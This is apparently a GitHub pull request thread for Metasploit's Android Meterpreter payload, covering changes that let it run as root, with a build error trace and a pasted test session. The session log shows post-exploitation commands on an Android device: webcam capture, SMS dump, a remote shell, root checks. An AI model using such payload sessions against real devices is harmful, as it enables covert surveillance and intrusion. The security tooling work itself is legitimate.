search

rapid7 / metasploit-javapayload

THIS REPO IS OBSOLETE. USE https://github.com/rapid7/metasploit-payloads INSTEAD
87 stars 82 forks source link

Allow Android meterpreter to run as root #23

Closed timwr closed 9 years ago

timwr commented 9 years ago

The Android meterpreter can run as root only if no android.* classes are loaded at Runtime. This change removes the dependency on android.content.Context from the android.payload.Stage interface, instead we use the original javapayload.stage.Stage interface and pass the writeable directory as a parameter.

I've also tested and merged the following PRs into this one: https://github.com/rapid7/metasploit-javapayload/pull/14 https://github.com/rapid7/metasploit-javapayload/pull/17 https://github.com/rapid7/metasploit-javapayload/pull/22

jvennix-r7 commented 9 years ago

Nice work @timwr, this is looking much tidier.

jvennix-r7 commented 9 years ago

@timwr would you mind writing up some quick verification steps? I will run this through addjsif exploit

jvennix-r7 commented 9 years ago

Oh nvm, you just pushed an exploit. I think that counts as a verification step :P

bcook-r7 commented 9 years ago

Hmm, I can do mvn package just fine, but 'mvn deploy package -e' blows up like so with Maven 3.2.5. Any hints?

[INFO] JavaPayload for Metasploit (Parent project) ........ FAILURE [  0.249 s]
[INFO] JavaPayload for Metasploit ......................... SKIPPED
[INFO] Java Meterpreter (Parent project) .................. SKIPPED
[INFO] Java Meterpreter ................................... SKIPPED
[INFO] Java Meterpreter StdApi Plugin ..................... SKIPPED
[INFO] Java Meterpreter Debug Loader ...................... SKIPPED
[INFO] JavaPayload Compatibility Checks (Parent project) .. SKIPPED
[INFO] JavaPayload Compatibility Checks (Java 1.6) ........ SKIPPED
[INFO] JavaPayload Compatibility Checks (Java 1.5) ........ SKIPPED
[INFO] JavaPayload Compatibility Checks (Java 1.4) ........ SKIPPED
[INFO] JavaPayload Compatibility Checks (Java 1.3) ........ SKIPPED
[INFO] JavaPayload Compatibility Checks (Java 1.2) ........ SKIPPED
[INFO] JavaPayload Compatibility Checks (Android API 3) ... SKIPPED
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 0.408 s
[INFO] Finished at: 2015-01-29T15:44:51-06:00
[INFO] Final Memory: 4M/81M
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-deploy-plugin:2.7:deploy (default-deploy) on project Metasploit-JavaPayload-parent: Deployment failed: repository element was not specified in the POM inside distributionManagement element or in -DaltDeploymentRepository=id::layout::url parameter -> [Help 1]
org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.apache.maven.plugins:maven-deploy-plugin:2.7:deploy (default-deploy) on project Metasploit-JavaPayload-parent: Deployment failed: repository element was not specified in the POM inside distributionManagement element or in -DaltDeploymentRepository=id::layout::url parameter
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:216)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:153)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:145)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:116)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:80)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build(SingleThreadedBuilder.java:51)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute(LifecycleStarter.java:120)
    at org.apache.maven.DefaultMaven.doExecute(DefaultMaven.java:355)
    at org.apache.maven.DefaultMaven.execute(DefaultMaven.java:155)
    at org.apache.maven.cli.MavenCli.execute(MavenCli.java:584)
    at org.apache.maven.cli.MavenCli.doMain(MavenCli.java:216)
    at org.apache.maven.cli.MavenCli.main(MavenCli.java:160)
bcook-r7 commented 9 years ago

Never mind, I forgot the '-P' - this is looking better than master already!

bcook-r7 commented 9 years ago

Java meterpreter fails a lot of the 'test' modules, but this does not seem to be a regression. I do see that a lot of things work fine though, and 'master' certainly doesn't even build cleanly for me, whereas here it does. I think it will be good to merge this and get the various stability bonuses from the integrated merges as well.

meterpreter > webcam_list
1: Back Camera
meterpreter > webcam_snap
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /Users/bcook/projects/metasploit-framework/QufyNvIL.jpeg
meterpreter > sysinfo
Computer    : localhost
OS          : Android 4.2.2 - Linux 3.0.83-g849f7d5 (armv7l)
Meterpreter : java/android
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=10000(u0_a0) gid=10000(u0_a0) groups=1006(camera),1015(sdcard_rw),1028(sdcard_r),3003(inet),50000(all_a0)
exit
meterpreter > route

IPv4 network routes
===================

    Subnet         Netmask        Gateway  Metric  Interface
    ------         -------        -------  ------  ---------
    127.0.0.1      255.0.0.0      0.0.0.0
    192.168.22.46  255.255.255.0  0.0.0.0

IPv6 network routes
===================

    Subnet                                Netmask  Gateway  Metric  Interface
    ------                                -------  -------  ------  ---------
    ::1                                   ::       ::
    2002:4ac2:9e1a:0:9221:55ff:fe6d:4864  ::       ::
    2002:4ac2:9e1a:0:940e:dc40:93f7:86e7  ::       ::
    fe80::9221:55ff:fe6d:4864             ::       ::

meterpreter > dump_sms
[*] No sms messages were found!
meterpreter > check_root
[+] Device is rooted
meterpreter > ls

Listing: /data/data/com.metasploit.stage/files
==============================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  17708  fil   2015-01-29 21:24:39 -0600  aeowb
100666/rw-rw-rw-  17708  fil   2015-01-29 21:08:39 -0600  evzys
100666/rw-rw-rw-  17708  fil   2015-01-29 21:19:07 -0600  hbfvm
100666/rw-rw-rw-  17708  fil   2015-01-29 21:22:18 -0600  tppmv